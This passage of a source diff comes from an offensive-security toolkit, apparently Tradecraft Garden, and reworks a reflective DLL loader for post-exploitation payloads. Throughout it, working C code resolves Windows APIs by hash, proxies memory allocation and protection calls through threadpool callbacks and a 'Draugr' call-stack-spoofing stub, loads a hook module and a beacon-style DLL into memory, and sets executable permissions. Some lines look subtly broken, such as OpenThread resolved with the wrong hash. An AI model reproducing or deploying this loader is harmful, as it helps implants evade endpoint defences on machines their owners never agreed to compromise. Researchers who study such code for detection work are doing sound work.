return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 4) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 5) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 6) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 7) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 8) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL);
} else if (functionCall->argc == 9) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL);
} else if (functionCall->argc == 10) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL);
} else if (functionCall->argc == 11) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL);
} else if (functionCall->argc == 12) {
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11));
}
return (ULONG_PTR)(NULL);
}
+227 -325
View File
@@ -1,392 +1,294 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* This file is part of Tradecraft Garden
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
void setupProxy(void * loaderArgument);
void go(void * loaderArgument);
__attribute__((noinline, no_reorder)) void go(void * loaderArgument) {
setupProxy(loaderArgument);
char * loaderStart() {
return (char *)go;
}
#include "loaderdefs.h"
#include "loader.h"
#include "picorun.h"
#include "hash.h"
#include "resolve_eat.h"
#include "tp.h"
#include "proxy.h"
#include "memory.h"
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
#define DLL_POSTEX_START 0x4
#define WIN32_FUNC( x ) __typeof__( x ) * x
typedef struct {
WIN32_FUNC(LoadLibraryA);
WIN32_FUNC(GetProcAddress);
DRAUGR Draugr;
WIN32_FUNC(RtlLookupFunctionEntry);
WIN32_FUNC(GetModuleHandleA);
WIN32_FUNC(VirtualAlloc);
WIN32_FUNC(VirtualAllocEx);
WIN32_FUNC(VirtualProtect);
WIN32_FUNC(VirtualProtectEx);
WIN32_FUNC(VirtualFree);
WIN32_FUNC(GetThreadContext);
WIN32_FUNC(SetThreadContext);
WIN32_FUNC(ResumeThread);
WIN32_FUNC(CreateThread);
WIN32_FUNC(CreateRemoteThread);
WIN32_FUNC(OpenProcess);
WIN32_FUNC(OpenThread);
WIN32_FUNC(CloseHandle);
WIN32_FUNC(CreateFileMappingA);
WIN32_FUNC(MapViewOfFile);
WIN32_FUNC(UnmapViewOfFile);
WIN32_FUNC(VirtualQuery);
WIN32_FUNC(DuplicateHandle);
WIN32_FUNC(ReadProcessMemory);
WIN32_FUNC(WriteProcessMemory);
WIN32_FUNC(ExitThread);
WIN32_FUNC(CreateProcessA);
WIN32_FUNC(Sleep);
TPALLOCWORK TpAllocWork;
TPPOSTWORK TpPostWork;
TPRELEASEWORK TpReleaseWork;
void * NtAllocateVirtualMemory;
void * NtProtectVirtualMemory;
WIN32_FUNC(LoadLibraryA);
WIN32_FUNC(GetProcAddress);
DRAUGR Draugr;
WIN32_FUNC(VirtualAlloc);
WIN32_FUNC(VirtualAllocEx);
WIN32_FUNC(VirtualProtect);
WIN32_FUNC(VirtualProtectEx);
WIN32_FUNC(VirtualFree);
WIN32_FUNC(VirtualQuery);
WIN32_FUNC(GetThreadContext);
WIN32_FUNC(SetThreadContext);
WIN32_FUNC(ResumeThread);
WIN32_FUNC(CreateThread);
WIN32_FUNC(CreateRemoteThread);
WIN32_FUNC(OpenProcess);
WIN32_FUNC(OpenThread);
WIN32_FUNC(ExitThread);
WIN32_FUNC(CloseHandle);
WIN32_FUNC(Sleep);
WIN32_FUNC(CreateFileMappingA);
WIN32_FUNC(MapViewOfFile);
WIN32_FUNC(UnmapViewOfFile);
WIN32_FUNC(DuplicateHandle);
WIN32_FUNC(ReadProcessMemory);
WIN32_FUNC(WriteProcessMemory);
WIN32_FUNC(CreateProcessA);
} WIN32FUNCS;
void findNeededFunctions(WIN32FUNCS * funcs)
{
char * kernel32 = (char *)findModuleByHash(KERNEL32DLL_HASH);
char * ntdll = (char *)findModuleByHash(NTDLLDLL_HASH);
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *) findFunctionByHash(kernel32, LOADLIBRARYA_HASH);
funcs->GetProcAddress = (__typeof__(GetProcAddress) *) findFunctionByHash(kernel32, GETPROCADDRESS_HASH);
funcs->RtlLookupFunctionEntry = (__typeof__(RtlLookupFunctionEntry) *) findFunctionByHash(kernel32, RTLLOOKUPFUNCTIONENTRY_HASH);
funcs->GetModuleHandleA = (__typeof__(GetModuleHandleA) *) findFunctionByHash(kernel32, GETMODULEHANDLEA_HASH);
funcs->VirtualAlloc = (__typeof__(VirtualAlloc) *) findFunctionByHash(kernel32, VIRTUALALLOC_HASH);
funcs->VirtualAllocEx = (__typeof__(VirtualAllocEx) *) findFunctionByHash(kernel32, VIRTUALALLOCEX_HASH);
funcs->VirtualProtect = (__typeof__(VirtualProtect) *) findFunctionByHash(kernel32, VIRTUALPROTECT_HASH);
funcs->VirtualProtectEx = (__typeof__(VirtualProtectEx) *) findFunctionByHash(kernel32, VIRTUALPROTECTEX_HASH);
funcs->VirtualFree = (__typeof__(VirtualFree) *) findFunctionByHash(kernel32, VIRTUALFREE_HASH);
funcs->GetThreadContext = (__typeof__(GetThreadContext) *) findFunctionByHash(kernel32, GETTHREADCONTEXT_HASH);
funcs->SetThreadContext = (__typeof__(SetThreadContext) *) findFunctionByHash(kernel32, SETTHREADCONTEXT_HASH);
funcs->ResumeThread = (__typeof__(ResumeThread) *) findFunctionByHash(kernel32, RESUMETHREAD_HASH);
funcs->CreateThread = (__typeof__(CreateThread) *) findFunctionByHash(kernel32, CREATETHREAD_HASH);
funcs->CreateRemoteThread = (__typeof__(CreateRemoteThread) *) findFunctionByHash(kernel32, CREATEREMOTETHREAD_HASH);
funcs->OpenProcess = (__typeof__(OpenProcess) *) findFunctionByHash(kernel32, OPENPROCESS_HASH);
funcs->OpenThread = (__typeof__(OpenThread) *) findFunctionByHash(kernel32, CREATEREMOTETHREAD_HASH);
funcs->CloseHandle = (__typeof__(CloseHandle) *) findFunctionByHash(kernel32, CLOSEHANDLE_HASH);
funcs->CreateFileMappingA = (__typeof__(CreateFileMappingA) *) findFunctionByHash(kernel32, CREATEFILEMAPPINGA_HASH);
funcs->MapViewOfFile = (__typeof__(MapViewOfFile) *) findFunctionByHash(kernel32, MAPVIEWOFFILE_HASH);
funcs->UnmapViewOfFile = (__typeof__(UnmapViewOfFile) *) findFunctionByHash(kernel32, UNMAPVIEWOFFILE_HASH);
funcs->VirtualQuery = (__typeof__(VirtualQuery) *) findFunctionByHash(kernel32, VIRTUALQUERY_HASH);
funcs->DuplicateHandle = (__typeof__(DuplicateHandle) *) findFunctionByHash(kernel32, DUPLICATEHANDLE_HASH);
funcs->ReadProcessMemory = (__typeof__(ReadProcessMemory) *) findFunctionByHash(kernel32, READPROCESSMEMORY_HASH);
funcs->WriteProcessMemory = (__typeof__(WriteProcessMemory) *) findFunctionByHash(kernel32, WRITEPROCESSMEMORY_HASH);
funcs->ExitThread = (__typeof__(ExitThread) *) findFunctionByHash(kernel32, EXITTHREAD_HASH);
funcs->CreateProcessA = (__typeof__(CreateProcessA) *) findFunctionByHash(kernel32, CREATEPROCESSA_HASH);
funcs->Sleep = (__typeof__(Sleep) *) findFunctionByHash(kernel32, SLEEP_HASH);
funcs->TpAllocWork = (TPALLOCWORK) findFunctionByHash(ntdll, TPALLOCWORK_HASH);
funcs->TpPostWork = (TPPOSTWORK) findFunctionByHash(ntdll, TPPOSTWORK_HASH);
funcs->TpReleaseWork = (TPRELEASEWORK) findFunctionByHash(ntdll, TPRELEASEWORK_HASH);
funcs->NtAllocateVirtualMemory = (void *) findFunctionByHash(ntdll, NTALLOCATEVIRTUALMEMORY_HASH);
funcs->NtProtectVirtualMemory = (void *) findFunctionByHash(ntdll, NTPROTECTVIRTUALMEMORY_HASH);
}
#ifdef WIN_X86
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
#define GETRESOURCE(x) PTR_OFFSET(caller(), (ULONG_PTR)x + 5)
#else
#define GETRESOURCE(x) (char *)&x
#endif
typedef struct {
int length;
char value[];
} RESOURCE;
typedef struct {
#if DEBUG
char data[8192];
char code[16384];
#else
char data[4096];
char code[12288];
#endif
} PICO;
char __POSTEX__[0] __attribute__((section("postex")));
char __DRAUGR__[0] __attribute__((section("draugr")));
char __HOOKS__[0] __attribute__((section("hooks")));
char __DLL__[0] __attribute__((section("dll")));
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS * funcs, MEMORY_LAYOUT * layout);
void * allocateVirtualMemory(SIZE_T size, ULONG protect)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
char * loader_start() {
#ifdef WIN_X86
return PTR_OFFSET(caller(), (ULONG_PTR)go + 5);
#else
return (char *)go;
#endif
void * baseAddress = NULL;
args.functionPtr = (ULONG_PTR)(NTDLL$NtAllocateVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(0);
args.argument4 = (ULONG_PTR)(&size);
args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE);
args.argument6 = (ULONG_PTR)(protect);
ProxyNtApi(&args);
return baseAddress;
}
typedef struct {
char draugrpic[4096];
char hookdata[4096];
char hookcode[12288];
char dllbase[0];
} LAYOUT;
void __attribute__((naked)) workCallback()
void protectVirtualMemory(void * baseAddress, SIZE_T size, ULONG newProtect)
{
__asm__ __volatile__ (
".intel_syntax noprefix;"
"mov rbx, rdx;" // move struct as we're going to stomp rdx
"mov rax, [rbx];" // function pointer
"mov rcx, [rbx + 0x8];" // argument 1
"mov rdx, [rbx + 0x10];" // argument 2
"mov r8, [rbx + 0x18];" // argument 3
"mov r9, [rbx + 0x20];" // argument 4
"mov r10, [rbx + 0x30];" // argument 6
"mov [rsp + 0x30], r10;"
"mov r10, [rbx + 0x28];" // argument 5
"mov [rsp + 0x28], r10;"
"jmp rax;" // jump
".att_syntax prefix;"
);
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
ULONG oldProtect = 0;
args.functionPtr = (ULONG_PTR)(NTDLL$NtProtectVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(&size);
args.argument4 = (ULONG_PTR)(newProtect);
args.argument5 = (ULONG_PTR)(&oldProtect);
ProxyNtApi(&args);
}
void * allocate_memory_threadpool(SIZE_T size, ULONG protect, WIN32FUNCS * funcs)
void fixSectionPermissions(DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
DWORD sectionSize = 0;
DWORD newProtect = 0;
void * baseAddress = NULL;
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
args.function = (ULONG_PTR)(funcs->NtAllocateVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(0);
args.argument4 = (ULONG_PTR)(&size);
args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE);
args.argument6 = (ULONG_PTR)(protect);
for (int x = 0; x < numberOfSections; x++)
{
sectionDst = dst + sectionHdr->VirtualAddress;
sectionSize = sectionHdr->SizeOfRawData;
PTP_WORK WorkReturn = NULL;
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
newProtect = PAGE_WRITECOPY;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
newProtect = PAGE_READONLY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
newProtect = PAGE_READWRITE;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
newProtect = PAGE_EXECUTE;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtect = PAGE_EXECUTE_WRITECOPY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtect = PAGE_EXECUTE_READ;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
newProtect = PAGE_EXECUTE_READWRITE;
}
funcs->TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)workCallback, &args, NULL);
funcs->TpPostWork(WorkReturn);
funcs->TpReleaseWork(WorkReturn);
/* set new permission */
protectVirtualMemory(sectionDst, sectionSize, newProtect);
funcs->Sleep(100);
/* track memory */
region->sections[x].baseAddress = sectionDst;
region->sections[x].size = sectionSize;
region->sections[x].currentProtect = newProtect;
region->sections[x].previousProtect = newProtect;
return baseAddress;
}
void protect_memory_threadpool(void * baseAddress, SIZE_T size, ULONG newProtect, WIN32FUNCS * funcs)
{
NTARGS args;
memset(&args, 0, sizeof(NTARGS));
ULONG oldProtect = 0;
args.function = (ULONG_PTR)(funcs->NtProtectVirtualMemory);
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
args.argument2 = (ULONG_PTR)(&baseAddress);
args.argument3 = (ULONG_PTR)(&size);
args.argument4 = (ULONG_PTR)(newProtect);
args.argument5 = (ULONG_PTR)(&oldProtect);
PTP_WORK WorkReturn = NULL;
funcs->TpAllocWork(&WorkReturn, (PTP_WORK_CALLBACK)workCallback, &args, NULL);
funcs->TpPostWork(WorkReturn);
funcs->TpReleaseWork(WorkReturn);
funcs->Sleep(100);
}
#ifdef DEBUG
#include "debug.h"
#endif
void fixSectionMemoryPermissions(DLLDATA * dll, char * src, char * dst, WIN32FUNCS * funcs, MEMORY_REGION * region)
{
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER * sectionHdr = NULL;
void * sectionDst = NULL;
DWORD sectionSize = 0;
DWORD newProtect = 0;
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
for (int x = 0; x < numberOfSections; x++)
{
sectionDst = dst + sectionHdr->VirtualAddress;
sectionSize = sectionHdr->SizeOfRawData;
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
newProtect = PAGE_WRITECOPY;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
newProtect = PAGE_READONLY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
newProtect = PAGE_READWRITE;
}
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
newProtect = PAGE_EXECUTE;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtect = PAGE_EXECUTE_WRITECOPY;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
newProtect = PAGE_EXECUTE_READ;
}
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
newProtect = PAGE_EXECUTE_READWRITE;
}
/* set new permission */
protect_memory_threadpool(sectionDst, sectionSize, newProtect, funcs);
/* track memory */
region->sections[x].baseAddress = sectionDst;
region->sections[x].size = sectionSize;
region->sections[x].currentProtect = newProtect;
region->sections[x].previousProtect = newProtect;
/* advance to our next section */
sectionHdr++;
}
/* advance to our next section */
sectionHdr++;
}
}
void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout, void * loaderArgument)
{
char * hookSrc;
PICO * hookDst;
char * dllSrc;
DLLDATA dllData;
char * dllDst;
char * hookSrc;
PICO * hookDst;
char * dllSrc;
DLLDATA dllData;
char * dllDst;
/* Time to load the hook PICO */
hookSrc = GETRESOURCE(__HOOKS__);
/* Time to load the hook PICO */
hookSrc = GETRESOURCE(__HOOKS__);
/* Allocate memory for it */
hookDst = (PICO *)allocate_memory_threadpool(sizeof(PICO), PAGE_READWRITE, funcs);
/* Allocate memory for it */
hookDst = (PICO *)allocateVirtualMemory(sizeof(PICO), PAGE_READWRITE);
/* Load it into memory */
PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data);
#if DEBUG
dprintf("hookDst : 0x%p\n", hookDst);
dprintf("PicoDataSize : %d\n", PicoDataSize(hookSrc));
dprintf("PicoCodeSize : %d\n", PicoCodeSize(hookSrc));
#endif
/* Make the code section RX */
protect_memory_threadpool(hookDst->code, PicoCodeSize(hookSrc), PAGE_EXECUTE_READ, funcs);
/* Load it into memory */
PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data);
/* Fill layout info */
layout->hooks.baseAddress = (char *)hookDst;
layout->hooks.size = sizeof(PICO);
layout->hooks.sections[0].baseAddress = hookDst->data;
layout->hooks.sections[0].size = PicoDataSize(hookSrc);
layout->hooks.sections[0].currentProtect = PAGE_READWRITE;
layout->hooks.sections[0].previousProtect = PAGE_READWRITE;
layout->hooks.sections[1].baseAddress = hookDst->code;
layout->hooks.sections[1].size = PicoCodeSize(hookSrc);
layout->hooks.sections[1].currentProtect = PAGE_EXECUTE_READ;
layout->hooks.sections[1].previousProtect = PAGE_EXECUTE_READ;
/* Make the code section RX */
protectVirtualMemory(hookDst->code, PicoCodeSize(hookSrc), PAGE_EXECUTE_READ);
/* Get PICO entry point */
PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hookSrc, hookDst->code);
/* Fill layout info */
layout->hooks.baseAddress = (char *)hookDst;
layout->hooks.size = sizeof(PICO);
layout->hooks.sections[0].baseAddress = hookDst->data;
layout->hooks.sections[0].size = PicoDataSize(hookSrc);
layout->hooks.sections[0].currentProtect = PAGE_READWRITE;
layout->hooks.sections[0].previousProtect = PAGE_READWRITE;
layout->hooks.sections[1].baseAddress = hookDst->code;
layout->hooks.sections[1].size = PicoCodeSize(hookSrc);
layout->hooks.sections[1].currentProtect = PAGE_EXECUTE_READ;
layout->hooks.sections[1].previousProtect = PAGE_EXECUTE_READ;
/* Call it to install the hooks */
picoEntry((IMPORTFUNCS *)funcs, layout);
/* Get PICO entry point */
PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hookSrc, hookDst->code);
/* Now load the DLL */
dllSrc = GETRESOURCE(__POSTEX__);
/* Call it to install the hooks */
picoEntry((IMPORTFUNCS *)funcs, layout);
/* Parse the headers */
ParseDLL(dllSrc, &dllData);
/* Now load the DLL */
dllSrc = GETRESOURCE(__DLL__);
/* Allocate memory for DLL */
dllDst = allocate_memory_threadpool(SizeOfDLL(&dllData), PAGE_READWRITE, funcs);
/* Parse the headers */
ParseDLL(dllSrc, &dllData);
/* Load it into memory */
LoadDLL(&dllData, dllSrc, dllDst);
ProcessImports((IMPORTFUNCS *)funcs, &dllData, dllDst);
/* Allocate memory for DLL */
dllDst = allocateVirtualMemory(SizeOfDLL(&dllData), PAGE_READWRITE);
layout->beacon.baseAddress = dllDst;
layout->beacon.size = SizeOfDLL(&dllData);
/* Load it into memory */
LoadDLL(&dllData, dllSrc, dllDst);
ProcessImports((IMPORTFUNCS *)funcs, &dllData, dllDst);
/* Fix section memory permissions */
fixSectionMemoryPermissions(&dllData, dllSrc, dllDst, funcs, &layout->beacon);
layout->dll.baseAddress = dllDst;
layout->dll.size = SizeOfDLL(&dllData);
/* Call hook entry point again to provide the updated memory layout */
picoEntry((IMPORTFUNCS *)funcs, layout);
/* Fix section memory permissions */
fixSectionPermissions(&dllData, dllSrc, dllDst, &layout->dll);
/* Get its entry point */
DLLMAIN_FUNC dllEntry = EntryPoint(&dllData, dllDst);
/* Call hook entry point again to provide the updated memory layout */
picoEntry((IMPORTFUNCS *)funcs, layout);
/* Call it twice */
dllEntry((HINSTANCE)dllDst, DLL_PROCESS_ATTACH, NULL);
dllEntry((HINSTANCE)loader_start(), DLL_POSTEX_START, loaderArgument);
/* Get its entry point */
DLLMAIN_FUNC dllEntry = EntryPoint(&dllData, dllDst);
/* Call it twice */
dllEntry((HINSTANCE)dllDst, DLL_PROCESS_ATTACH, NULL);
dllEntry((HINSTANCE)loaderStart(), 0x4, loaderArgument);
}
void setupProxy(void * loaderArgument)
void go(void * loaderArgument)
{
WIN32FUNCS funcs;
RESOURCE * picSrc;
char * picDst;
MEMORY_LAYOUT layout;
WIN32FUNCS funcs;
RESOURCE * picSrc;
char * picDst;
MEMORY_LAYOUT layout;
/* Resolve functions */
findNeededFunctions(&funcs);
funcs.LoadLibraryA = LoadLibraryA;
funcs.GetProcAddress = GetProcAddress;
funcs.VirtualAlloc = KERNEL32$VirtualAlloc;
funcs.VirtualAllocEx = KERNEL32$VirtualAllocEx;
funcs.VirtualProtect = KERNEL32$VirtualProtect;
funcs.VirtualProtectEx = KERNEL32$VirtualProtectEx;
funcs.VirtualFree = KERNEL32$VirtualFree;
funcs.VirtualQuery = KERNEL32$VirtualQuery;
funcs.GetThreadContext = KERNEL32$GetThreadContext;
funcs.SetThreadContext = KERNEL32$SetThreadContext;
funcs.ResumeThread = KERNEL32$ResumeThread;
funcs.CreateThread = KERNEL32$CreateThread;
funcs.CreateRemoteThread = KERNEL32$CreateRemoteThread;
funcs.OpenProcess = KERNEL32$OpenProcess;
funcs.OpenThread = KERNEL32$OpenThread;
funcs.ExitThread = KERNEL32$ExitThread;
funcs.CloseHandle = KERNEL32$CloseHandle;
funcs.Sleep = KERNEL32$Sleep;
funcs.CreateFileMappingA = KERNEL32$CreateFileMappingA;
funcs.MapViewOfFile = KERNEL32$MapViewOfFile;
funcs.UnmapViewOfFile = KERNEL32$UnmapViewOfFile;
funcs.DuplicateHandle = KERNEL32$DuplicateHandle;
funcs.ReadProcessMemory = KERNEL32$ReadProcessMemory;
funcs.WriteProcessMemory = KERNEL32$WriteProcessMemory;
funcs.CreateProcessA = KERNEL32$CreateProcessA;
/* Grab the Draugr PIC */
picSrc = (RESOURCE *)GETRESOURCE(__DRAUGR__);
/* Grab the Draugr PIC */
picSrc = (RESOURCE *)GETRESOURCE(__DRAUGR__);
/* Allocate memory for it */
picDst = allocate_memory_threadpool(picSrc->length, PAGE_READWRITE, &funcs);
/* Allocate memory for it */
picDst = allocateVirtualMemory(picSrc->length, PAGE_READWRITE);
#if DEBUG
PIC_STRING(dst, "PIC @ 0x%lp\n");
dprintf((IMPORTFUNCS *)&funcs, dst, picDst);
#endif
#if DEBUG
dprintf("picDst : 0x%p\n", picDst);
#endif
/* Copy it into memory */
memcpy(picDst, picSrc->value, picSrc->length);
/* Copy it into memory */
memcpy(picDst, picSrc->value, picSrc->length);
/* Flip memory to RX */
protect_memory_threadpool(picDst, picSrc->length, PAGE_EXECUTE_READ, &funcs);
/* Flip memory to RX */
protectVirtualMemory(picDst, picSrc->length, PAGE_EXECUTE_READ);
/* Set funcs field */
funcs.Draugr = (DRAUGR)(picDst);
/* Set funcs field */
funcs.Draugr = (DRAUGR)(picDst);
/* Begin filling memory layout info */
layout.pic.baseAddress = picDst;
layout.pic.size = picSrc->length;
/* Begin filling memory layout info */
layout.pic.baseAddress = picDst;
layout.pic.size = picSrc->length;
/* Carry on loading the rest */
reflectiveLoader(&funcs, &layout, loaderArgument);
/* Carry on loading the rest */
reflectiveLoader(&funcs, &layout, loaderArgument);
}
+69 -207
View File
@@ -1,222 +1,84 @@
/*
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
* Copyright 2025 Daniel Duggan, Zero-Point Security
*
* This file is part of Tradecraft Garden
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <https://www.gnu.org/licenses/>.
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
